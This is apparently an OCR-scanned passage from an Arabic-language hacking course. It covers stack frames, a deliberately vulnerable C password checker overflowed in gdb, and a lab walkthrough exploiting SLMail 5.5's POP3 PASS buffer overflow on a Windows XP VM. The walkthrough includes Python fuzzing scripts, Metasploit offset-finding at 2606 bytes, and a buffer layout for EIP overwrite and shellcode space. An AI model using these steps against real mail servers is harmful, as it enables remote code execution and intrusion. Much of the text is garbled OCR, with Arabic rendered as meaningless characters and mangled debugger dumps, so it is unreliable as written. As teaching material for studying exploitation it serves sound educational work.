Heap (grows |)

Stack (grows 1)

env pointer

Argc

| Higher addresses (Oxbfffffff)

€..Stack Jl pe Jalai IS 2o S35 I
.Function Call ¢! > Low>| Likis Lgas Ll
toda Function Call Jl dlas 5 Stack Ji Jtls Las ia 5 Js L
Let’s think about what happens in a function call:
When a function call is executed, the arguments need to be evaluated to values.
Then, control flow jumps to the body of the function, and code begins executing there.

Once a return statement has been encountered, we're done with the function, and return back to
the function call.

“Stack Frame” ate 3l .function JI o4 ua.,as}'- s ;> Stack JI 3 035 «“function call” &z J.}(j

G 5z |S izl eds o L Stack J1 0585 i amain( ) Jb Ty ks el s 1l T Jusucd
(1) 35 JS21 G el sl
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5P —»

JI_xios emain() JU oWl stack frame Ji ,gla 5 5 (S
JIlda ,ehay (Function JI 41. 1] Stack Pointer (SP)
functions s> 5 L) . Ldas main( ) JI1as Lo Frame

f00( ) Lgouwsl emain( ) Ji 515 e call b oug g 51

Jl ods <Two Arguments S Jsb foo( ) JI eda

main {) .Stack JI 3 pgrs3) 4 uuo,ii.: Arguments
main stack et g g |
frame Y GU\ Cl"')b Lole idos &l 2L o.:\.thO()r),a.’Lw
-3 o bazel | S main( ) JI ) return value
Figure 1

1(2) o3, S 3 el |5 stack JI IS8 0,5

;> J| 23 Stack Pointer JI Jas) o «Stack JI J) foo( ) Ji &I Arguments I Push Jis o

SP—»

ret wval

main

Figure 2

Iargs

4l o2 Return value Ji 1 .. Return value JI
Of Axy space Jl eda ke wxow 1L 5 f0O( ) Lol 5,
|5 <Arguments JI o5 Lhas e F0O() 23

..local variables J! -y sae function Ji e Al

main() S Stackdl Le b i~ push <& foo() gl
stack ) ) ,
frame ¢ s "Local Variables" J! sJ» C,ajj [PRRE W

Lelles

-
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Pl odin day Stack Jl ale sdns o e 5 (3) 035 ( JUI JSAI

SP —i

fool)
foo stack
T frame

FP—® | rat val T

Iargs

maini)
stack

Y

Figure 3

e

foo() JI J=I Stack Pointer JI' Jasl s foo() Ju oWl Frame JI -y, 55 VJ A&

Sl SP U Jaxy 13U
odd SP JI Jaz, QUL ESP JJ decrement fox; o fOO() Lol i> Lol allocation JI iles OY
adoad | a- LUl

““Frame Pointer” JI «|.. U ¢b gUIFP Jlda L S
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Jié Vet &fw foo() ¢ 5% of J- Stack Pointer JI 4 le % ols U Address JI J] i ;ksﬂj\ RV

4 L{so& Local Variables

Points to the location where the stack pointer was, just before foo( ) moved the stack pointer
for foo( )'s own local variables.

¢ sl U3 ) i 13U
Ahos a f00( ) g5 OF dny 6 515 0 4 85 501, Stack Pointer Ji o Seazy S

913] 5 pmy S

reduce & sd> U3 oy s FP JI Q) SP JI Jad move [SEBP, S$ESP] ledys .21 instruction daz

(4) o3, S 3 e 50 52 |S stack |

SP—» | rat val

Iargs
maini)
stack

main frame

Figure 4
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- Jos Jls function call Jf Lo Sl 5L
(e AL ol L

1. Push the parameters in the reverse order (right to left).
2. "Call" function now. It implicitly pushes the return address into STACK.
[[ call func ]]

(return value J1 s return address Ji g LIZ Y .. 1azs))

3. Push the current EBP ie. Frame Pointer (FP) of calling function into stack. We need to do
this to continue with the execution of calling function after return from the called
function. [[ pushl %ebp 1]

4. Copy the ESP to EBP. (yes, this location will be new FRAME POINTER)

[[ movl %esp, S%ebp ]]

5. Allocate space on stack for local variables. It's done by decrementing ESP.

[[ subl $4, %esp ]]

7. Copy current EBP to ESP, it will reduce stack's size. Now we have old FP at the top of
the stack.
[[ movl %ebp, %espl]

8. Pop a 32 bit value (which is old frame pointer) and stuff it into EBP. (undoing Step 3)
[[ popl %Sebp ]]

9. The "ret" instruction pops a 32 bit value from the stack and stuffs into the program
counter.
[[ ret ]]

** Steps 7 and 8 are combined in single instruction "leave".
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:Assembly code JU ol sl oda aalid oY1

funcl:
pushl Sebp
movl %esp, %ebp
subl $4, %esp
movl $8, -4 (%ebp)
movl -4 (%ebp), %eax
addl 8 (%ebp), %eax

leave

ret

main:
pushl a
call funcl
addl $16, %esp
movl $eax, -4 (%ebp)
movl -4 (%ebp), %eax
movl %eax, C

<-- Step 3, Push EBP
<-- Step 4, Copy ESP -> EBP
<-- Step 5, Create space on stack for t
<-- Initialize "t" to 8
<-- Step 6, Copy "t" to EAX
<-- Step 6, Add "c" to EAX
<-- Step 7 and 8:
7: Restore ESP (EBP -> ESP)
8: Restore EBP (Pop STACK -> EBP)
<-- Step 9, (Pop STACK -> Program Counter)
<-- Step 1, push parameters
<-- Step 2, call funcl

Stack Overflow

Stack Overflow J| « C";‘é Je izl

Gk (e User authentication JI Jaxs o s2d main( ) JI e ajledzal o5 Function e 55le 5,5 L L

.Cébﬂ\ub};;gdxégﬁgQQQUi{éﬁfjig‘ziﬁ‘&nggﬂgtg
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check authentication(char *password) ({
int auth flag = 0;
char password buffer[16];

strcpy (password buffer, password);

if (strcmp (password buffer, "brillig") == 0)
auth flag = 1;

if (strcmp (password buffer, "outgrabe") == 0)
auth flag = 1;

return auth flag;

}

int main(int argc, char *argv[]) {
if (argc < 2) {
printf ("Usage: %s <password>\n", argv[0]);

exit (0);
}
if (check authentication(argv[1l])) {
printf ("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n") ;
printf (" Access Granted.\n");
printf ("-=-=-=-=-=-=-=-=-=—=-=-=-=-\n") ;
} else {

printf ("\nAccess Denied.\n");

}

c)jji‘ N SR User JI o argv[l] Jlaal o 5o check authentication() Jull & gk
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“Access 3,Ls iclb ) “outgrabe” 51 “brilling” o3I Lz, s & password_buffer Ji 3 Lgxs 5 p 52

.Granted”

15581 s o 2 La.

reader@hacking:~/booksrc $ gcc -g -o auth overflow auth overflow.c
reader@hacking:~/booksrc $ ./auth overflow

Usage: ./auth overflow <password>

reader@hacking:~/booksrc $ ./auth overflow test

Access Denied.

reader@hacking:~/booksrc § ./auth overflow brillig

reader@hacking:~/booksrc $ ./auth overflow outgrabe

reader@hacking:~/booksrc $

1Access Denied &L, L o 7 test 5,5 1008 Wbss) e bS5 | S
IV e J el 3 ot U galill 18 3 JB &gl 1am SIS 23501 Cpe ST input Jses) 1512 Jig U5
s MRS LT 4 U1 O 5 Access

reader@hacking:~/booksrc $ ./auth overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAARAARA

reader@hacking:~/booksrc $

APassword JI o gy J g5l e (s
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o seshs «Debugger J! el GAUJ)J\ Jorizy p sl et K8 o0 L aalel JuS
.check_authenticaion() J o1 return value Ji dee 15 <buffer Ji .l &lee e Breakpoint

reader@hacking:~/booksrc $ gdb -g ./auth overflow
Using host libthread db library
"/lib/tls/i686/cmov/libthread db.so.1".

(gdb) list 1

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <string.h>

4

5 int check authentication (char *password) ({

6 int auth flag = 0;

7 char password buffer[16];

8

9 strcpy (password buffer, password);

10

(gdb)

11 if (strcmp (password buffer, "brillig") == 0)
12 auth flag = 1;

13 if (strcmp (password buffer, "outgrabe") == 0)
14 auth flag = 1;

15

16 return auth flag;

17 }

18

19 int main(int argc, char *argv([]) {

20 if (argc < 2) {

(gdb) break 9

Breakpoint 1 at 0x8048421: file auth overflow.c, line 9.
(gdb) break 16

Breakpoint 2 at 0x804846f: file auth overflow.c, line 16.
(gdb)

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/auth overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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Breakpoint 1, check authentication (password=0xbffff9af 'A' <repeats
30 times>) at
auth overflow.c:9

9 strcpy (password buffer, password);
(gdb) x/s password buffer
Oxbffff7a0: ")22220222222)\205\004\b?20?2?2p?22?2222°2"

(gdb) x/x &auth flag

Oxbffff7bc: 0x00000000

(gdb) print Oxbffff7bc - Oxbffff7al

$1 = 28

(gdb) x/16xw password buffer

Oxbffff7a0: 0xb7f9f729 O0xb7fdoffd Oxbffff7d8 0x08048529
Oxbffff700: Oxb7fd6effd Oxbffff870 Oxbffff7d8 0x00000000
Oxbffff7c0: O0xb7ff47b0 0x08048510 Oxbffff7d8 0x080484bb
Oxbffff7d0: Oxbffff9af 0x08048510 Oxbffff838 Oxb7eafebc
(gdb)

(gdb) continue

Continuing.

Breakpoint 2, check authentication (password=0xbffff9%af 'A' <repeats
30 times>) at

auth overflow.c:16

16 return auth flag;

(gdb) x/s password buffer

Oxbffff7a0: 'A' <repeats 30 times>

(gdb) x/x &auth flag

Oxbffff7bc: 0x00004141

(gdb) x/16xw password buffer

Oxbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbffff7b0: O0x41414141 0x41414141 0x41414141 0x0000414]1 &——
Oxbffff7c0: Oxb7ff47b0 0x08048510 Oxbffff7d8 0x080484bb
Oxbffff7d0: Oxbffff9af 0x08048510 Oxbffff838 Oxb7eafebc
(gdb) x/4cb &auth flag

Oxbffff7bc: 65 'A' 65 'A' 0 '"\0' 0 '"\O'

(gdb) x/dw &auth flag

Oxbffff7bc: 16705

(gdb)

Security & Attacks
[257]



(gdb) continue
Continuing.

Program exited with code 034.
(gdb)

i s e (451 breakpoint dydows Lues LT sty ek

9 strcpy(password buffer, password);

Memory J1 - gdb JI U glal s lgr pmali ol 8 55 o
Oxbff££7a0 :address JI 1ia (3 451 55 password_buffer JI Ol oS
0x00000000 :(0) &ud)l JoZ sy Oxbffff7bc :addressJilis 3 Cij"Auth_flag variable" J Bij

L S <28 byets Ll usd Auth_flag Ji s 1 bytes Jl sie ol Lo

(gdb) x/l6xw password buffer
Oxbffff7a0: O0xb7f9f729 Oxb7fd6ff4 Oxbffff7d8 0x08048529
Oxbffff7b0: Oxb7fdeffd Oxbffff870 Oxbffff7d8

(4 bytes * 7 = 28 bytes) :J 5 Of LSas 4 bytes -e 5,Le 4~ address ﬁ ) e
000000000 :JI 445 "Location of auth_flag" Ji Lada Tuy o

16 ol e a1 Breakpoint JI due < 55 bl s Jrcajm
(gdb) x/x &auth flag
Oxbfff£Tbc: 0x00004141
(gdb) x/16xw password buffer
Oxbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbfff£7b0: 0x41414141 0x41414141 0x41414141 0x00004141
AA & 2 bytes J ol Jlazal 55 o g 5 overflow J 555 46 auth_flag J) O LS elsl &)

I3
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2
I i) gl S 16705 b o 5 dad U] s 1yo aied i QUL

(gdb) x/dw &auth flag
Oxbffff7bc: 16705

N8 g o aall i Lacd ol L IF Ul Lzl 05 05 F i s

if (strcmp (password buffer, "brillig") == 0)
auth flag = 1;
if (strcmp (password buffer, "outgrabe") == 0)

auth flag = 1;
return auth flag;
1Authentication J| Lles -l 533 U ¢ el b ad auth_flag el Lomii QWL
a3 Bl gcpugl 114 “execution control point” JI 4a auth_flag variable JI o1 1ia O Qs

N Gadl i & oDl

9.5l ol (o3l L) S OV

buffer Ji 1da ¢, 1l &S Y input L~o e ! buffer |J overflow fos, o 5 sl dur g Gs
.password_buffer[16] : s»

& auth_flag J1 of s cl5,e 30 5385 A G A Jltsly o b o« G > 16 a5 S

'Lm\ S| I az memory J J ZJ,.:L.J password_buffer Ji dw 4K
T s & o (53U Ja ol ] d5E0
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dI J ax 5 p siw memory JI 3 buffer Ji ux auth_flag Ji a5 e Yas LS s o s

.overflow | 05aS pke o UL 5 buffer

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int check authentication(char *password) {
char password buffer[16];
int auth flag = 0;

strcpy (password buffer, password);

if (strcmp (password buffer, "brillig") == 0)
auth flag = 1;
if (strcmp (password buffer, "outgrabe") == 0)

auth flag = 1;

return auth flag;

}

int main(int argc, char *argv([]) {
if(argc < 2) {
printf ("Usage: %s <password>\n", argv[0]);

exit (0);
}
if (check authentication(argv[1l])) {
printf ("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n") ;
printf (" Access Granted.\n");
printf ("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n")
} else {

printf ("\nAccess Denied.\n");

}

Security & Attacks
[260]



el Y s e s o asTed L

reader@hacking:~/booksrc $ gcc -g auth overflow2.c
reader@hacking:~/booksrc $ gdb -g ./a.out

Using host libthread db library
"/lib/tls/i686/cmov/libthread db.so.1".

(gdb) list 1

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <string.h>

4

5 int check authentication(char *password) {

o char password buffer[16];

7 int auth flag = 0;

8

9 strcpy (password buffer, password);

10

(gdb)

11 if (strcmp (password buffer, "brillig") == 0)
12 auth flag = 1;

13 if (strcmp (password buffer, "outgrabe") == 0)
14 auth flag = 1;

15

16 return auth flag;

17 }

18

19 int main(int argc, char *argv([]) {

20 if(argc < 2) {

(gdb) break 9

Breakpoint 1 at 0x8048421: file auth overflow2.c, line 9.

(gdb) break 16

Breakpoint 2 at 0x804846f: file auth overflow2.c, line 16.

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/reader/booksrc/a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check authentication (password=0xbffff9b7 'A' <repeats
30 times>) at

auth overflow2.c:9
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9 strcpy (password buffer, password);
(gdb) x/s password buffer
Oxbffff7c0:

(gdb) x/x &auth flag

Oxbffff7bc:

0x00000000
(gdb) x/l6xw &auth fla

Oxbffff7bc: 0x00000000"0xb7fd6ff4 Oxbffff880 Oxbffff7e8
Oxbffff7cc: Oxb7fd6ffd Oxb7ff47b0 0x08048510 Oxbffff7e8
Oxbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 Oxbffff848
Oxbffff7ec: Oxb7eafebc 0x00000002 Oxbffff874 Oxbffff880
(gdb)
(gdb) cont
Continuing.
Breakpoint 2, check authentication (password=0xbffff9b7 'A' <repeats
30 times>)
at auth overflow2.c:16
16 return auth flag;
(gdb) x/s password buffer
Oxbffff7c0: 'A' <repeats 30 times>
(gdb) x/x &auth flag
Oxbffff7bc: 0x00000000
(gdb) x/16xw &auth fla
Oxbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141
Oxbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbffff7dc: 0x08004141 Oxbffffo9o7 0x08048510 Oxbffff848
Oxbfffflec: Oxb7eafebc‘€500000002 Oxbffff874 Oxbffff880
(gdb)
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in 2?2 ()

celi, LoVl

..auth_flag | overflow KPS ¢
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0x08004141 :address JI14s _s 21 overflow JI e U3 e Yoy
A Ao ) Us 52 s M1Crash I &g woay Lldia 5. cACCESS Ul Jo J goad by Lida ey |
..Crashing J! 5 Exploitability J! (e ¢! eIl e seabl (o

Crashing on Application
“Is the form of Denial of Service against the application”

¢ DoS Attack JI i b
Jslxz; Resource (sf i Ls Server s il 2ol (Suspend) e s o sl 3 ey p s )

Mgas Jobadl S el e Sy Y 1 INPULS 1 Fpp 885520 it lay enler] oo e USIS i ans

Exploitability
“Injecting and executing my own code within the vulnerable process”

:SJL?aj‘o_LA g}ﬂ;»iy\ FGJEJJcJT :ELibwi
“The Exploitability is the determination whether a crash can be tuned into an Exploit!”
.initial analysis JI fee s Debugging Ji G: b ;e Y1 1ia jlasl p o
?.."QJ" 59U e LY C‘b““" ol Ses
Serash Ji e o 015 malidl 3 sl JhLs ccrash I s oo 13U LdsYe o=
s a2 5l L*gi%jjcabfj\ Nlada éié.. fcrash JI 1ds oo QJ LAy =

e

Registers JI Z31 2 5 b 2 . o 5 analysis Jl o
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JI st O wa (3 LA ccrash JI & pd due Heap Ji 5l Stack JI 4] _uts EIP J1 0L 13] L & pme Sied
oWl s ] Stack Pointer Ji ax sz o2l (;f !4 exploit JI sf code I inject Lo, ¢ s&s (51 Block
(4 Shellcode JI x5 s GSE s U1) memory Ji 15

.Exception JI &:14 Les 72Ul UL capture ok o sk <Y LA Debugger Ji Leaz L]

¢..Exception JI lda L

Lyl s e ado C;L.’IMT
It is a potentially uncoverable operation in a program that may cause that program to terminate
unexpectedly.

HORUS RPN PS-{EA NN
Jea) e dandliles ™
Y S iaE o memory Ji Jo1s location Y access Jag mal ol Il Lt Ly ®
o= ¢ 52 Operating System JI By Py S &Y () J =l olSl el

.protection mechanisms JI -« @ﬁ "process isolation"
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Putting things all together

B et w5 e S et Bes dnlean p s B2 501 e el e gl OF s OV

bVl i) ol 130

e 2B Bl e et Sy VMware workstation 12 I sl et 1

oo 85enS Lehead SESILS e ol w511 e Gl IS8 ehod GBS Tl cKal Linux 250 —2
-VMware Image ¢ 5

Windows 7 se Gl V1 ety Ll 50 slazaly Win XP 252 -3

SLMail 5.5 sl de. —4
§SLmail Ji1da L s
S5k &bl Lo Jors s SMTP JI5 POP3 Ul set, Maill Server

XP Jl isend Je 4 DE;J Immunity Debugger @Uﬂ -5

as ol s
ASLR & DEP L ¢ a2l Zalail | godsenns anlold (i o3l e jlaansty (IS

BN s ol | s b 5 s LY
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Data Execution Prevention (DEP):

Is a set of hardware, and software, technologies that perform additional checks on memory, to
help prevent malicious code from running on a system. The primary benefit of DEP is to help
prevent code execution by raising an exception, when execution occurs.

Address Space Layout Randomization (ASLR):
ASLR randomizes the base addresses of loaded applications, and DLLs, every
time the Operating System is booted.
s, Tad La
LY G el 2l e Jag K0 I dinall 3

Win XP JI e Ly ol Debugger Jis SLMail Jf oaizy 46 Lia
LAYk ) U

Preparing and Sending our Buffer
525110 3l e traffic JI 5 oy o <1 Windows JU o1 Firewall JI lslas] e 201 (3 4ST

Lol 0 wdge K Firewall JI Gl sy 51 POP3 JI die
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Understanding Hacking and Information Security aylagleall gpalg 8436532180 d3mgall

(@ Windows XP Professional - VMware Workstation 3= =} X
Fle Eit View VM Tobs Hep | 11~ | @ | O 0 O 0= 2 ((E [Minimize]
Library x

‘@Home x]L@Mycmmu XH@Kai-l.imx-zo.owm-amdM | (51 Windows XP Professional
——

= 5 My Computer
(57 Kali-Linux-2.0.0-vm-ar,
(57 Windows XP Professio.
7 Shared VMs

>
To direct input to this VM, move the mouse pointer inside or press Ctrl+G. aouBR=a0da=| B

ralot oy 5 S0 s BLs) 5 tXt Cale e 5 (Kali Linux Joxls p s

#!/usr/bin/python

import socket

s = socket.socket (socket.AF INET, socket.SOCK STREAM)

buffer = 'A' * 2700

try:
print "\Sending evil buffer..."
s.connect (('192.168.18.131"',110))
data = s.recv(1024)
s.send ('USER username' + '\r\n'")
data = s.recv(1024)
s.send ('PASS' + buffer + '\r\n'")
print "\Done!."

except:

Security & Attacks
[267]



print "Could not connect!"

POP3 J S 555 olbl el 5a5 110 Ll JLasU p 53 lastly 5o BPython Ji sl O e 5,501 s
2700 T)J.ﬁ A Jl G > JL L BoF porp Jony <35 <Mail box JI I Remote Access foa) sl (3
MU aasdl Buffer Ji 45

('5 File ;=15 «Debugger Ji faiz o3 Saks sl Al cadl Vj <L Terminal J =3 calll L, o
o Run s Lxsl ('j cListening JI &ls <. 110 545 POP3 JI Qi 3 s 5 Lo~ Slmail o5 Attach
Pl el g2 FUZZ2 & fUZZ2.PY N1 S 5,531 L] Terminal 1 ) 54l

YIS i~ (@ Workstation v v | & O © = Sl | (5 Kali-Linux-2.0.0-vm-amd64 | (5] Windows XP Professional s by 5z o O~

< > | f@Home
b = @ B b Db
\ Desktop Documents Downloads fuzz2.py fuzz3.py fuzzer.py

-y = O =

socket struct

el

o

.
(2
B
5
[ m

#1/usr/bin/python

import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'A' * 2700
- root@kali: ~ e ® 0

try:. e . - . File Edit View Search Terminal Help

print nSend. vil buffer... : -

s.connect(('1 8.131',110)) i~# . /fuzz2lpy

data = s.recv )

s.send('USER ame' + '\r\n'

data = s.recv

s.send( 'PASS' + buffer + '\r\n')

print "\nDone!."
except:

print "Could not connect to POP3!"
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LEas b g I Win XP JI =1 Debugger Ji Jf s 5= La

.EIP Register JI ] oy 455 5|S J=ddl Overflow o> 03

@ File Y¥iew Debug Plugins Immlib Options Window Help Jobs 18] x|

OB TE axpnwidligdsf lemtwhecPkbzr. s? |

| Registers (FPU)

[51515]15]9151515)
BO979EC4
AABBBBA3
ABRBBR4
29970128
41414141
5101515191515 1¢)
(5101515151515 )1
41414141

5 9823 -
AB1B
a823

#a23 :
9838
15]51519)

“wy FRRN
Address 41414141
9R43D000 BB 90 BB B0 B0 0D BV 00 2C 41414141 ARAA
#843D0A8 A0 @ A0 ad A 41414141 AAAA
88430010 B4 80 5 6F ) . . OP 41414141 AAAA
#B43DA18 7: 5 2@ 4 6 1 . rhe s 41414141 AARAA
88430028 65 72 g . : : srvice 41414141 AAAA
PA43DA28 6 6E 6 5 72 2 p i F7A1< 41414141 AAAA
B#B43D0A30 6E 7 6 65 2 K ' n the co 41414141 AAAA
A843D0A38 G6E 7 ? e - ntrol pa 41414141 REIRR
PB43DB48 6E 65 6C 2¢ ? 20 73 nel to s 41414141 ARAA
#B43D0R48 74 6 2 74 2 % 5 tart the 41414141 AARAA
98430050 2 65 72 7 3 C . 41414141 AAAA
98430058 51 T 65 P« 158 41414141 AAAA
AB43DB6B 2 7 7 2 24 2 )t cta % ap??7a15C 41414141 AAAA
BB43DB68 7 25 73 20 - 7 . ap9?7a168 41414141 AAAA
BB43D0B768 6°F N 20 20 2¢ ove 41414141 AAAA
A843DA78 20 28 20 2¢ 28 2 ’ 41414141 AAAA
AB43DA8H = ? 2 ’ ; ) T 76 to au927A16C 41414141 AAAA
2NAEK B3 s o AA97A178 41414141 AAAA

AW 8 etk J) Jmd L Lo s

Binary Tree Analysis
A2 1 A*2700 Jl o i e EIP ) Overwrite il "4A'S" I g oy LA 5
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¢..Stack Overflow JI Jis uxy b b 1 Aleu¥| Sks o

§..Crash Jl &t e ol ilS

L1 buffer Ji 1515 "4A’S" Jl o O (aintd 2512 G g o Bl o Jouns i

S 0B 1350 B’ 5 1350 A’S ¢Cpansd J] 2700 U1 o p 55 OF <2700 A'S™ I Jlas ] 0 Yoty 2T, Lo
o3t Ladsy (.j buffer I ;e G a2l 4 »2 Location JI ol s B O AL EIP | Overwritten
O ) Character J1 i s domdll ihas G jozed 14Ka5 . 1670 C’s 5 1670 B’s (1] o 1350 B’s Ul da

2 A location i a3 e

O I NTCTH P PR PR (R FICPE WIRR A PR PR

Metasploit Framework Ji <1 ssl e OB1sT plasealy o i

Jors w8 L;:3\ 4 bytes JI wus - 414:.\4% ool o String JL,L ¢ 5% “pattern_create.rb” dsYI
L. aIL 4 bytes JI oda 25 Juds) “Pattern_offset.rb” 451 sls Yl e Laday 5 (EIP ) overwrite

String Jloda |15
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Applications Workstation v D) 3 T [5 | 5 Kali-Linux-2.0.0-vm-amd64 * | (5 Windows XP Professional

root@kali: ~

f attern_cr
7AaB8AaSAbOAb1Ab2Ab3Ab4AbSA| b7Ab8AbISA c1Ac2Ac3Ac4AcSAc6Ac7AcB8AcIAdOAdIAd2Ad3Ad4Ad! 6Ad7AdBAdY
fOAfIAT2Af3AT4ATS AfbAf7nfdAfJAg®AglAQAAQBAf4Aq5AquQ/AQBAqJAhﬂAhlAh2ﬁh3ﬁh4ﬁhqﬂh6ﬁh74h8ﬂhqA10A114
§3Aj4A15A16A] k < 7
AnFAn7AmoAmJAﬁOAﬂ1Ao A03A04A05A06A07AosnoJApOAplAp Ap3 4ApJAp6

x1Ax2Ax3Ax4AX5AXEAXTA BAAJAyOAylAyAAy3Hy4~yqﬂyb
0Bb 186280 38b4BbSEb6ED 7BbBBbIBC OBC 1B 28¢ 3Bc4BCSBCBC 7 BCBBLQBdOBdlB

n4Bn5Bnt n%BnéBnQBo@BoiBozao3Bo4B058068078088098p08p1Bp28p38p4Bp55p68p7epesp95 q1Bq28

Br7Br88r9Bs0Bs 185285 3854858568 7BS8BSIB L 0B 126t 3Bt 4B5BL6Bt 7Bt8BLIBUOBULBU2BUIBUABY
©By1By2 Bij 4By5By6By7
e

1De2De3De4De5D! bD97D08D09DfODTlDTADT?DTADT‘DTbDT’DTBDTJDGOL g
Di4Di5D16D17Di8D19Dj @Dj 102D 3Dj 4Dj5D 6Dj 7D 8Dj 9Dk 6Dk 1Dk 2Dk 3Dk 4Dk 5Dk 6Dk 7!

o 2700 -y & 5SS SEING - 4S5 815N o Lkl U .. gdis S

String Jl odye Jadiw 130
buffer = 'A' * 27003,500 hudllis Sk Ja
ol buffer Jl ded s O 5K L Lgmas 5 5 string JI o.l.as'cwqws.;
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Y a0l s SLmail JU Lokl process U restart foa o a5 OF day (6 515 50 3 801 doiesy p s OV
12U p g2edl ol 2 crash b o 15
ikl 5 SN doiezy o 5%:d Terminal J1 Jf 45 .Run V'j 15 attach Jax o3 ol s OV
“fuzznew” 4.:«:“

root@Kali:~# ./fuzznew.py
EIP J &us L aalsl s Debugger Ji s s .. 1o
g ansle b Aaliin

ASCII "13/04/06 09:12:52 P
080000080

ASCII "DjeDj1Dj2Dj3DjuDj5D

00000081

15 gl 3 Ll o5 I Hex bytes J1 e EIP ) Overwrite cou 44l

SOV s 3L 5

String JI J=1s bytes Jl sda 3 5 1 s 5o U Cfi oS SN BV U] Bltol o 4555 bytes J eds feviis
(2511 4 bytes JI s oy 3 B Y1 pltbnal e Eom L I S e Jib T I
39 69 44 38 a5 4 bytes JU L size elsY1 s Sl oy

el L) glas
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[*] Exact match at offset 2606

Applications Yl Workstation v =] ; = [l | 5 Kali-Linux-2.0.0-vm-amd64 * || (1 Windows XP Professional Rer o 3 o O~

root@kali: ~
File Edit View Search Terminal Tabs Help

root@kali root@kali: ~

T

:~# /usr/share/ it-framework/tools/pattern_offset.rb 39694438
[*] Exact match at offse 06
= |

-
™
-
4

N

© 5ol ) Sl shall oda B ae dey bUFfer JI Jlu ] dald La

QS 05K 5 55 Jot s et e ooty o s

buffer = "A" * 2606 + "B" * 4 + "C" * 90

I 2y LT 5 ¢ sl plUaclly 42 42 42 42 4 <4 B's™ s overwrite U &z o LY EIP J1 0f i s

“C” G AL buffer
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@ File View Debug Pibgiﬁs fmme Options Window Help Jobs

OB TE ax» MY lemtwhcPkbzlr. s 7 ST

~| Registers (FPU)
EAX
ECX ASCII '"13/04/ 06
EDX 080860600
EBX

f#SCII "cccccce

806060661

32bit

32bit

32bit

32bit

32bit 7FFACB06(
NULL

Address PN 024FA11C 41414141 AAAA
024FA118 41 41 41 41 41 51 %1 ARARARAA B24FA1268 41414141 AAAA
024FA120| 41 41 41 41|42 42 42 42 AAAABBBB B24FA124 42424242 BBBB
024FA128)43 43 43 43|43 43 43 43 CCCCCCCC LA FLY ) 43434343 CCCC
0245FA1308 4 e 43 43 ; ; 024FA12C 43434343 CCCC
924FA138 43 3 83 43 cee 024FA130 43434343 CCCC

ol Gl 3 i VL O™ IVl 4] 25 ol ESP J1 LT EIP ) overwrite &35 1
L8l ) ) La

Locating Space for our Shellcode
Ly s <“C7 G AL b g1 buffer 1 1oy (1) 15 comaol ESP J1 0T ol K201 3 LlasY

Ly yeldI Shellcode JU eda “C” JI G 5 >l
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I ez 350 1 oy (i QUL (350 bytes () axmlus o aslidezul sbeay (> (g4l shellcode JI N
shellcode ) uai:;i\ buffer

ol 15,80 ot slaall el Lo Jois ol 2 i
buffer = "A" * 2606 + "B" * 4 + "C" * (3500 - 2606 - 4)

z

.shellcode J &1Ll Allocation Ji iles ~Lxs s aST ¢ =15, p gl dokizy o g OV

022DA128143 43 43 M3 | A3 43 43 43|43 43 43 43 43 43 A3 ‘coeeee ceeee 022DA12C 43434343
022DA138 43 43 43| 3 43| 4 } 43 43 43 ) ( CCCH CCe 022DA130 43434343
822DA148 43 43 43|43 ! 3 ! ! C ( 822DA134 43434343
022DA158 UK 3|43 ! ! % 43 43 ! 1 ccee ce ( B822DA138 43434343

022DA168 43 N [ 3 43 43 43 43 } N CCCeet ; 022DA13C 43434343
922DA178 43 43 43 ! 3 43| 4 43 43 43 43 43 CCLCCOI 022DA148 43434343
022DA188 43 43 /| : 4o ! L ! y3lcee ( C 822DA144 43434343
022DA198 43 43 ! 43| ! } | 13 43101 o { O 022DA148 43434343
022DA1A8 } 43 43 43 (43 43 W3 3 43 43 43 43 3 ! 3 43lcee » CeCH 022DA14C 43434343
022DA1B8 43 4 3 & L 43 ne n ! 2 HHH 822DA158 43434343
822DA1C8 43 43 43 43|43 ! ) 43 43 | ! y3icce > ( B822DA154 43434343
022DA1D8 43 h3 K3 ! ] 43 43 K3 43 43 43 43|43 43 43 a3lccccocece cee 022DA158 43434343
022DA1ES 43 [ ’ 3 4 - 3 [ ) a3 leet ' e 0822DA15C 43434343
822DA1F8 43 43 43|43 ¢ % ! g - p 822DA168 43434343
022DA208 43 A3 3| 4 4 ] ! 43 43 N7 CCCee ( 822DA164 43434343
022DA218 143 43 43 43| 43 3 n3 43 } 43 43 A CCCCH { 022DA168 43434343
022DA228 43 43 ! 3 2 43 43 43 43 43 cceeee { 822DA16C 43434343
0822DA238 43 43 ! L 1 43 42 . y2 C C 822DA1768 43434343
022DA248 43 43 ki } 43 43 43 43 ! } 43 43 u3lc e "CCCH 0822DA174 43434343
022DA258 43 43 43 } [ 3 n3lc ce ( 022DA178 43434343
0822DA268 3 ! ! ! y3lcee » - ( 822DA17C 43434343
022DA278 43 Al 43 1 : g ! ! 3 lceceeeecceeece 822DA188 43434343
022DA288 143 43 43 43|43 43 43 43 43 43 43 ! ) } N CCCCCCLCeet 022DA184 43434343
022DA298 43 43 ! - 43 ! a3lcee Y ce ( 0822DA188 43434343
822DA2A8 43 ! 3 43|43 ¢ 3 ! 3 43¢ C oC 822DA18C 43434343
022DA2B8 |43 43 43 43|43 A3 3 N ] } | 43 43 C v *CCOH 822DA198 43434343
022DA2C8 43 43 43|43 43 43 43|43 43 A3 } 43 { 022DA194 43434343

3 g0 68 08 08 66 88 88 Q 022DA198 43434343

M erss 1
